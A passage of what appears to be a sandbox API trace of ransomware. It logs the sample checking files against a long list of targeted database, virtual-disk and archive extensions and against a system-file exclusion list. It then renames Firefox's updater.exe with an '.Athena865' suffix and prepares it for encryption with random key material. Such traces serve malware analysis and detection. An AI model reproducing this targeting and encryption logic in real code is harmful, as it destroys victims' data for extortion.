lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0045.643] lstrlenW (lpString="vhd") returned 3 [0045.643] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0045.643] lstrlenW (lpString="vhdx") returned 4 [0045.643] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0045.643] lstrlenW (lpString="avhd") returned 4 [0045.643] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0045.643] lstrlenW (lpString="db") returned 2 [0045.643] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0045.643] lstrlenW (lpString="db2") returned 3 [0045.643] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0045.643] lstrlenW (lpString="db3") returned 3 [0045.643] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0045.643] lstrlenW (lpString="dbf") returned 3 [0045.643] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0045.643] lstrlenW (lpString="mdf") returned 3 [0045.643] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0045.643] lstrlenW (lpString="mdb") returned 3 [0045.643] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0045.643] lstrlenW (lpString="sql") returned 3 [0045.643] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0045.643] lstrlenW (lpString="sqlite") returned 6 [0045.643] lstrcmpiW (lpString1="er.exe", lpString2="sqlite") returned -1 [0045.643] lstrlenW (lpString="sqlite3") returned 7 [0045.643] lstrcmpiW (lpString1="ter.exe", lpString2="sqlite3") returned 1 [0045.643] lstrlenW (lpString="sqlitedb") returned 8 [0045.643] lstrcmpiW (lpString1="ater.exe", lpString2="sqlitedb") returned -1 [0045.643] lstrlenW (lpString="xml") returned 3 [0045.643] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0045.643] lstrlenW (lpString="$er") returned 3 [0045.643] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0045.643] lstrlenW (lpString="4dd") returned 3 [0045.643] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0045.643] lstrlenW (lpString="4dl") returned 3 [0045.643] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0045.644] lstrlenW (lpString="^^^") returned 3 [0045.644] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0045.644] lstrlenW (lpString="abs") returned 3 [0045.644] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0045.644] lstrlenW (lpString="abx") returned 3 [0045.644] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0045.644] lstrlenW (lpString="accdb") returned 5 [0045.644] lstrcmpiW (lpString1="r.exe", lpString2="accdb") returned 1 [0045.644] lstrlenW (lpString="accdc") returned 5 [0045.644] lstrcmpiW (lpString1="r.exe", lpString2="accdc") returned 1 [0045.644] lstrlenW (lpString="accde") returned 5 [0045.644] lstrcmpiW (lpString1="r.exe", lpString2="accde") returned 1 [0045.644] lstrlenW (lpString="accdr") returned 5 [0045.644] lstrcmpiW (lpString1="r.exe", lpString2="accdr") returned 1 [0045.644] lstrlenW (lpString="accdt") returned 5 [0045.644] lstrcmpiW (lpString1="r.exe", lpString2="accdt") returned 1 [0045.644] lstrlenW (lpString="accdw") returned 5 [0045.644] lstrcmpiW (lpString1="r.exe", lpString2="accdw") returned 1 [0045.644] lstrlenW (lpString="accft") returned 5 [0045.644] lstrcmpiW (lpString1="r.exe", lpString2="accft") returned 1 [0045.644] lstrlenW (lpString="adb") returned 3 [0045.644] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0045.644] lstrlenW (lpString="adb") returned 3 [0045.644] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0045.644] lstrlenW (lpString="ade") returned 3 [0045.644] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0045.644] lstrlenW (lpString="adf") returned 3 [0045.644] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0045.644] lstrlenW (lpString="adn") returned 3 [0045.644] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0045.644] lstrlenW (lpString="adp") returned 3 [0045.644] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0045.644] lstrlenW (lpString="alf") returned 3 [0045.644] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0045.644] lstrlenW (lpString="ask") returned 3 [0045.644] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0045.645] lstrlenW (lpString="btr") returned 3 [0045.645] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0045.645] lstrlenW (lpString="cat") returned 3 [0045.645] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0045.645] lstrlenW (lpString="cdb") returned 3 [0045.645] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0045.645] lstrlenW (lpString="ckp") returned 3 [0045.645] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0045.645] lstrlenW (lpString="cma") returned 3 [0045.645] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0045.645] lstrlenW (lpString="cpd") returned 3 [0045.645] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0045.645] lstrlenW (lpString="dacpac") returned 6 [0045.645] lstrcmpiW (lpString1="er.exe", lpString2="dacpac") returned 1 [0045.645] lstrlenW (lpString="dad") returned 3 [0045.645] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0045.645] lstrlenW (lpString="dadiagrams") returned 10 [0045.645] lstrcmpiW (lpString1="pdater.exe", lpString2="dadiagrams") returned 1 [0045.645] lstrlenW (lpString="daschema") returned 8 [0045.645] lstrcmpiW (lpString1="ater.exe", lpString2="daschema") returned -1 [0045.645] lstrlenW (lpString="db-journal") returned 10 [0045.645] lstrcmpiW (lpString1="pdater.exe", lpString2="db-journal") returned 1 [0045.645] lstrlenW (lpString="db-shm") returned 6 [0045.645] lstrcmpiW (lpString1="er.exe", lpString2="db-shm") returned 1 [0045.645] lstrlenW (lpString="db-wal") returned 6 [0045.645] lstrcmpiW (lpString1="er.exe", lpString2="db-wal") returned 1 [0045.645] lstrlenW (lpString="dbc") returned 3 [0045.645] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0045.645] lstrlenW (lpString="dbs") returned 3 [0045.645] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0045.645] lstrlenW (lpString="dbt") returned 3 [0045.645] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0045.645] lstrlenW (lpString="dbv") returned 3 [0045.645] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0045.645] lstrlenW (lpString="dbx") returned 3 [0045.645] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0045.645] lstrlenW (lpString="dcb") returned 3 [0045.646] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0045.646] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\updater.exe.Athena865") returned 60 [0045.646] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\updater.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\updater.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\updater.exe.athena865"), dwFlags=0x1) returned 1 [0045.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\updater.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\updater.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0045.647] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=274032) returned 1 [0045.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.647] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.648] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.648] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.648] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43170, lpName=0x0) returned 0x154 [0045.650] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x43170) returned 0x1f0000 [0045.668] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.669] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.669] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0045.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.670] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0045.672] CloseHandle (hObject=0x154) returned 1 [0045.672] CloseHandle (hObject=0x17c) returned 1 [0045.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.677] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0045.677] lstrcmpiW (lpString1="updater.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.677] lstrcmpiW (lpString1="updater.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.677] lstrcmpiW (lpString1="updater.ini", lpString2=".") returned 1 [0045.677] lstrcmpiW (lpString1="updater.ini", lpString2="..") returned 1 [0045.677] lstrcmpiW (lpString1="updater.ini", lpString2="windows") returned -1 [0045.677] lstrcmpiW (lpString1="updater.ini", lpString2="bootmgr") returned 1 [0045.678] lstrcmpiW (lpString1="updater.ini", lpString2="temp") returned 1 [0045.678] lstrcmpiW (lpString1="updater.ini", lpString2="pagefile.sys") returned 1 [0045.678] lstrcmpiW (lpString1="updater.ini", lpString2="boot") returned 1 [0045.678] lstrcmpiW (lpString1="updater.ini", lpString2="ids.txt") returned 1 [0045.678] lstrcmpiW (lpString1="updater.ini", lpString2="ntuser.dat") returned 1 [0045.678] lstrcmpiW (lpString1="updater.ini", lpString2="perflogs") returned 1 [0045.678] lstrcmpiW (lpString1="updater.ini", lpString2="MSBuild") returned 1 [0045.678] lstrlenW (lpString="updater.ini") returned 11 [0045.678] lstrcpyW (in: lpString1=0x241e896, lpString2="updater.ini" | out: lpString1="updater.ini") returned="updater.ini" [0045.678] lstrlenW (lpString="updater.ini") returned 11 [0045.678] lstrlenW (lpString="Athena865") returned 9 [0045.678] lstrcmpiW (lpString1="dater.ini", lpString2="Athena865") returned 1 [0045.678] lstrlenW (lpString=".dll") returned 4 [0045.678] lstrcmpiW (lpString1="updater.ini", lpString2=".dll") returned 1 [0045.678] lstrlenW (lpString=".lnk") returned 4 [0045.678] lstrcmpiW (lpString1="updater.ini", lpString2=".lnk") returned 1 [0045.678] lstrlenW (lpString=".ini") returned 4 [0045.678] lstrcmpiW (lpString1="updater.ini", lpString2=".ini") returned 1 [0045.678] lstrlenW (lpString=".sys") returned 4 [0045.678] lstrcmpiW (lpString1="updater.ini", lpString2=".sys") returned 1 [0045.678] lstrlenW (lpString="updater.ini") returned 11 [0045.678] lstrlenW (lpString="bak") returned 3 [0045.678] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0045.678] lstrlenW (lpString="ba_") returned 3 [0045.678] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0045.678] lstrlenW (lpString="dbb") returned 3 [0045.678] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0045.678] lstrlenW (lpString="vmdk") returned 4 [0045.678] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0045.678] lstrlenW (lpString="rar") returned 3 [0045.678] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0045.678] lstrlenW (lpString="zip") returned 3 [0045.678] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0045.678] lstrlenW (lpString="tgz") returned 3 [0045.678] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0045.679] lstrlenW (lpString="vbox") returned 4 [0045.679] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0045.679] lstrlenW (lpString="vdi") returned 3 [0045.679] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0045.679] lstrlenW (lpString="vhd") returned 3 [0045.679] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0045.679] lstrlenW (lpString="vhdx") returned 4 [0045.679] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0045.679] lstrlenW (lpString="avhd") returned 4 [0045.679] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0045.679] lstrlenW (lpString="db") returned 2 [0045.679] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0045.679] lstrlenW (lpString="db2") returned 3 [0045.679] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0045.679] lstrlenW (lpString="db3") returned 3 [0045.679] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0045.679] lstrlenW (lpString="dbf") returned 3 [0045.679] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0045.679] lstrlenW (lpString="mdf") returned 3 [0045.679] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0045.679] lstrlenW (lpString="mdb") returned 3 [0045.679] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0045.679] lstrlenW (lpString="sql") returned 3 [0045.679] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0045.679] lstrlenW (lpString="sqlite") returned 6 [0045.679] lstrcmpiW (lpString1="er.ini", lpString2="sqlite") returned -1 [0045.679] lstrlenW (lpString="sqlite3") returned 7 [0045.679] lstrcmpiW (lpString1="ter.ini", lpString2="sqlite3") returned 1 [0045.679] lstrlenW (lpString="sqlitedb") returned 8 [0045.679] lstrcmpiW (lpString1="ater.ini", lpString2="sqlitedb") returned -1 [0045.679] lstrlenW (lpString="xml") returned 3 [0045.680] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0045.680] lstrlenW (lpString="$er") returned 3 [0045.680] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0045.680] lstrlenW (lpString="4dd") returned 3 [0045.680] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0045.680] lstrlenW (lpString="4dl") returned 3 [0045.680] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0045.680] lstrlenW (lpString="^^^") returned 3 [0045.680] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0045.680] lstrlenW (lpString="abs") returned 3 [0045.680] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0045.680] lstrlenW (lpString="abx") returned 3 [0045.680] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0045.680] lstrlenW (lpString="accdb") returned 5 [0045.680] lstrcmpiW (lpString1="r.ini", lpString2="accdb") returned 1 [0045.680] lstrlenW (lpString="accdc") returned 5 [0045.680] lstrcmpiW (lpString1="r.ini", lpString2="accdc") returned 1 [0045.680] lstrlenW (lpString="accde") returned 5 [0045.680] lstrcmpiW (lpString1="r.ini", lpString2="accde") returned 1 [0045.680] lstrlenW (lpString="accdr") returned 5 [0045.680] lstrcmpiW (lpString1="r.ini", lpString2="accdr") returned 1 [0045.680] lstrlenW (lpString="accdt") returned 5 [0045.680] lstrcmpiW (lpString1="r.ini", lpString2="accdt") returned 1 [0045.680] lstrlenW (lpString="accdw") returned 5 [0045.680] lstrcmpiW (lpString1="r.ini", lpString2="accdw") returned 1 [0045.680] lstrlenW (lpString="accft") returned 5 [0045.680] lstrcmpiW (lpString1="r.ini", lpString2="accft") returned 1 [0045.680] lstrlenW (lpString="adb") returned 3 [0045.680] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0045.680] lstrlenW (lpString="adb") returned 3 [0045.680] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0045.680] lstrlenW (lpString="ade") returned 3 [0045.680] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0045.680] lstrlenW (lpString="adf") returned 3 [0045.680] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0045.680] lstrlenW (lpString="adn") returned 3 [0045.681] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0045.681] lstrlenW (lpString="adp") returned 3 [0045.681] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0045.681] lstrlenW (lpString="alf") returned 3 [0045.681] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0045.681] lstrlenW (lpString="ask") returned 3 [0045.681] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0045.681] lstrlenW (lpString="btr") returned 3 [0045.681] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0045.681] lstrlenW (lpString="cat") returned 3 [0045.681] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0045.681] lstrlenW (lpString="cdb") returned 3 [0045.681] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0045.681] lstrlenW (lpString="ckp") returned 3 [0045.681] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0045.681] lstrlenW (lpString="cma") returned 3 [0045.681] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0045.681] lstrlenW (lpString="cpd") returned 3 [0045.681] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0045.681] lstrlenW (lpString="dacpac") returned 6 [0045.681] lstrcmpiW (lpString1="er.ini", lpString2="dacpac") returned 1 [0045.681] lstrlenW (lpString="dad") returned 3 [0045.681] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0045.681] lstrlenW (lpString="dadiagrams") returned 10 [0045.681] lstrcmpiW (lpString1="pdater.ini", lpString2="dadiagrams") returned 1 [0045.681] lstrlenW (lpString="daschema") returned 8 [0045.681] lstrcmpiW (lpString1="ater.ini", lpString2="daschema") returned -1 [0045.681] lstrlenW (lpString="db-journal") returned 10 [0045.681] lstrcmpiW (lpString1="pdater.ini", lpString2="db-journal") returned 1 [0045.681] lstrlenW (lpString="db-shm") returned 6 [0045.681] lstrcmpiW (lpString1="er.ini", lpString2="db-shm") returned 1 [0045.681] lstrlenW (lpString="db-wal") returned 6 [0045.681] lstrcmpiW (lpString1="er.ini", lpString2="db-wal") returned 1 [0045.681] lstrlenW (lpString="dbc") returned 3 [0045.681] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0045.681] lstrlenW (lpString="dbs") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0045.682] lstrlenW (lpString="dbt") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0045.682] lstrlenW (lpString="dbv") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0045.682] lstrlenW (lpString="dbx") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0045.682] lstrlenW (lpString="dcb") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0045.682] lstrlenW (lpString="dct") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0045.682] lstrlenW (lpString="dcx") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0045.682] lstrlenW (lpString="ddl") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0045.682] lstrlenW (lpString="dlis") returned 4 [0045.682] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0045.682] lstrlenW (lpString="dp1") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0045.682] lstrlenW (lpString="dqy") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0045.682] lstrlenW (lpString="dsk") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0045.682] lstrlenW (lpString="dsn") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0045.682] lstrlenW (lpString="dtsx") returned 4 [0045.682] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0045.682] lstrlenW (lpString="dxl") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0045.682] lstrlenW (lpString="eco") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0045.682] lstrlenW (lpString="ecx") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0045.682] lstrlenW (lpString="edb") returned 3 [0045.682] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0045.683] lstrlenW (lpString="epim") returned 4 [0045.683] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0045.683] lstrlenW (lpString="fcd") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0045.683] lstrlenW (lpString="fdb") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0045.683] lstrlenW (lpString="fic") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0045.683] lstrlenW (lpString="flexolibrary") returned 12 [0045.683] lstrlenW (lpString="fm5") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0045.683] lstrlenW (lpString="fmp") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0045.683] lstrlenW (lpString="fmp12") returned 5 [0045.683] lstrcmpiW (lpString1="r.ini", lpString2="fmp12") returned 1 [0045.683] lstrlenW (lpString="fmpsl") returned 5 [0045.683] lstrcmpiW (lpString1="r.ini", lpString2="fmpsl") returned 1 [0045.683] lstrlenW (lpString="fol") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0045.683] lstrlenW (lpString="fp3") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0045.683] lstrlenW (lpString="fp4") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0045.683] lstrlenW (lpString="fp5") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0045.683] lstrlenW (lpString="fp7") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0045.683] lstrlenW (lpString="fpt") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0045.683] lstrlenW (lpString="frm") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0045.683] lstrlenW (lpString="gdb") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0045.683] lstrlenW (lpString="gdb") returned 3 [0045.683] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0045.683] lstrlenW (lpString="grdb") returned 4 [0045.684] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0045.684] lstrlenW (lpString="gwi") returned 3 [0045.684] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0045.684] lstrlenW (lpString="hdb") returned 3 [0045.684] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0045.684] lstrlenW (lpString="his") returned 3 [0045.684] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0045.684] lstrlenW (lpString="ib") returned 2 [0045.684] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0045.684] lstrlenW (lpString="idb") returned 3 [0045.684] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0045.684] lstrlenW (lpString="ihx") returned 3 [0045.684] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0045.684] lstrlenW (lpString="itdb") returned 4 [0045.684] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0045.684] lstrlenW (lpString="itw") returned 3 [0045.684] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0045.684] lstrlenW (lpString="jet") returned 3 [0045.684] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0045.684] lstrlenW (lpString="jtx") returned 3 [0045.684] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0045.684] lstrlenW (lpString="kdb") returned 3 [0045.684] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0045.684] lstrlenW (lpString="kexi") returned 4 [0045.684] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0045.684] lstrlenW (lpString="kexic") returned 5 [0045.684] lstrcmpiW (lpString1="r.ini", lpString2="kexic") returned 1 [0045.684] lstrlenW (lpString="kexis") returned 5 [0045.684] lstrcmpiW (lpString1="r.ini", lpString2="kexis") returned 1 [0045.684] lstrlenW (lpString="lgc") returned 3 [0045.684] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0045.684] lstrlenW (lpString="lwx") returned 3 [0045.684] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0045.684] lstrlenW (lpString="maf") returned 3 [0045.684] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0045.685] lstrlenW (lpString="maq") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0045.685] lstrlenW (lpString="mar") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0045.685] lstrlenW (lpString="marshal") returned 7 [0045.685] lstrcmpiW (lpString1="ter.ini", lpString2="marshal") returned 1 [0045.685] lstrlenW (lpString="mas") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0045.685] lstrlenW (lpString="mav") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0045.685] lstrlenW (lpString="maw") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0045.685] lstrlenW (lpString="mdbhtml") returned 7 [0045.685] lstrcmpiW (lpString1="ter.ini", lpString2="mdbhtml") returned 1 [0045.685] lstrlenW (lpString="mdn") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0045.685] lstrlenW (lpString="mdt") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0045.685] lstrlenW (lpString="mfd") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0045.685] lstrlenW (lpString="mpd") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0045.685] lstrlenW (lpString="mrg") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0045.685] lstrlenW (lpString="mud") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0045.685] lstrlenW (lpString="mwb") returned 3 [0045.685] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0045.685] lstrlenW (lpString="myd") returned 3 [0045.685] lstrcmpiW (lpString1="ini", 